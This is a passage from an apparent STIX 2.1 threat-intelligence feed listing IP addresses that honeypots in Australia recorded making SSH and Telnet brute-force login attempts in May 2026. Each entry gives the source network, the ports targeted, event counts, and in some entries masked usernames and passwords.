      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 242. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, s*****t, t**t, 1**4. Passwords observed (masked): 1**4, a***n, p******d, 1**1, 1***5.",
      "id": "indicator--a804c374-f9ef-4096-bb4d-44794b9fe8e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.44.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 229. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, a****n, a***n, a**o. Passwords observed (masked): a***n, a******3, 0**************D, 1**4, 1***5.",
      "id": "indicator--1a908bf6-df69-49a4-bbe6-0f777eee53bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.5.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 208821. Organisation(s): Duru Internet Ve Bilisim Teknolojileri Sanayi Ticaret Limited Sirketi.",
      "id": "indicator--c89bcb00-808f-4de3-90ec-a00574004bc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.83.33.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--08934c6b-322b-46c1-bffb-14f7f949d41e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 29580. Organisation(s): A1 Bulgaria EAD. Usernames observed (masked): r**t. Passwords observed (masked): 1******2.",
      "id": "indicator--16c289d2-5040-4e03-8e41-9b253f63bdb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.83.249.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--a36268b2-7620-411c-a305-7bbca7111c5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.29.224.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 5410. Organisation(s): Bouygues Telecom SA.",
      "id": "indicator--6ab4d014-6412-4e23-b0e8-ed8dad7f0519",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.83.69.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T16:15:13.000Z",
      "valid_until": "2026-06-13T16:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137000. Organisation(s): VIJAYALAKSHMI NET SERVICES PVT LTD.",
      "id": "indicator--b424904a-bd81-4ef5-b5c3-1861f097c82b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.159.192.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 7562. Organisation(s): HCN Dongjak.",
      "id": "indicator--0f1c061e-70cf-40bc-8f37-58e4e2a55d21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.214.19.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--eaa025dd-ab90-4daa-a9eb-e5568587b29f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.120.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System.",
      "id": "indicator--977bc5e5-cc8d-45a4-b64c-cadd7fee2993",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.124.138.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JO. ASN(s): 48832. Organisation(s): Jordanian mobile phone services Ltd.",
      "id": "indicator--d2eebee4-3f0c-4ad7-84f5-67593fb08f5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.29.28.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--b7dd80f0-0d63-4a6e-8f25-b76da9cfca01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.189.144.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 21826. Organisation(s): Corporacion Telemic C.A..",
      "id": "indicator--41c95369-da67-4ace-8853-bde989e6eb76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.8.235.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--214aa2aa-2989-4c2d-b93e-60ccf9cd77cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GR. ASN(s): 6799. Organisation(s): OTEnet S.A..",
      "id": "indicator--31d66f0b-bde9-486a-9c1d-a634f2e546bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.129.188.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 202520. Organisation(s): SkyPass Solutions Sp. z.o.o.. Usernames observed (masked): r**t, f****e, a****2, a*******r, a**r. Passwords observed (masked): 1****6, !******X, *, H*******3, a*******4.",
      "id": "indicator--80c750e2-481e-42da-a133-d8867b55c241",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.168.110.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--25309022-2154-4df7-9932-de107b111f2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.54.72.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--3a254472-a628-4ef8-a0cd-7bfc92032693",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '96.127.152.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:15:11.000Z",
      "valid_until": "2026-06-13T17:15:08.000Z"
    },
    {
      "created": "2026-05-12T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 45905. Organisation(s): Stargate Communications Ltd..",
      "id": "indicator--4fdb6d05-4478-46c6-8736-83815bcc96ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.96.38.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T18:15:11.000Z",
      "valid_until": "2026-06-13T18:15:08.000Z"
    },
    {
      "created": "2026-05-12T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): d****y, r**t, w****y. Passwords observed (masked): A*******4, Q**********#, w****y.",
      "id": "indicator--6e823a68-e13e-4e55-826d-ff3736747a66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.114.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T18:15:11.000Z",
      "valid_until": "2026-06-13T18:15:08.000Z"
    },
    {
      "created": "2026-05-12T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 17552. Organisation(s): True Online.",
      "id": "indicator--b12d17f7-3a07-4ec4-883a-cbbd68d73012",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.97.255.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T18:15:11.000Z",
      "valid_until": "2026-06-13T18:15:08.000Z"
    },
    {
      "created": "2026-05-12T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--76981fbb-7570-4be9-96af-c4702e34b345",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.77.77.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T18:15:11.000Z",
      "valid_until": "2026-06-13T18:15:08.000Z"
    },
    {
      "created": "2026-05-12T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV.",
      "id": "indicator--311fe62b-5fe5-4de0-927e-88306e48b4f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.190.171.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T18:15:11.000Z",
      "valid_until": "2026-06-13T18:15:08.000Z"
    },
    {
      "created": "2026-05-12T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263532. Organisation(s): VIAR TELECOMUNICACOES LTDA.",
      "id": "indicator--602c5543-7ef1-43a0-9926-7ae0410e6bae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.5.54.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T18:15:11.000Z",
      "valid_until": "2026-06-13T18:15:08.000Z"
    },
    {
      "created": "2026-05-12T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--81622e92-e58f-4443-b940-41bfcb8c908e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T18:15:11.000Z",
      "valid_until": "2026-06-13T18:15:08.000Z"
    },
    {
      "created": "2026-05-12T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 270158. Organisation(s): Wantelco SAS de CV.",
      "id": "indicator--cc8960e5-6a42-4ce4-9071-63d2c58e7815",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.65.174.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T18:15:11.000Z",
      "valid_until": "2026-06-13T18:15:08.000Z"
    },
    {
      "created": "2026-05-12T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--7f0d0f3d-1ba0-4046-a06b-9112e00a2d8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.60.5.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T18:15:11.000Z",
      "valid_until": "2026-06-13T18:15:08.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137000. Organisation(s): VIJAYALAKSHMI NET SERVICES PVT LTD.",
      "id": "indicator--8b6a2590-09cf-435c-8faf-9fd36ab984be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.159.192.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 24544. Organisation(s): Laws Cloud Infrastructure Limited. Usernames observed (masked): r**t. Passwords observed (masked): h******6.",
      "id": "indicator--9872ba20-8dcb-46e6-86cd-c37a7523b7d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.215.80.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, n********0.",
      "id": "indicator--5c823fee-3bfd-4a7d-bd77-473873761202",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.26.28.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 209. Organisation(s): CenturyLink Communications, LLC.",
      "id": "indicator--4e2450c9-13dc-4d8b-8d9d-279f912497af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '174.20.212.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d824eaec-ed7b-42c8-b036-2596380c440a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.205.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 28840. Organisation(s): Pjsc tattelecom. Usernames observed (masked): r**t. Passwords observed (masked): m***s, o******e.",
      "id": "indicator--a0007405-854b-41ba-bdbb-4c3925e99cb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.206.232.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 270044. Organisation(s): CORRIENTES TELECOMUNICACIONES S.A.P.E.M..",
      "id": "indicator--223d8864-df59-4f6c-b92d-293f03889346",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.0.183.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
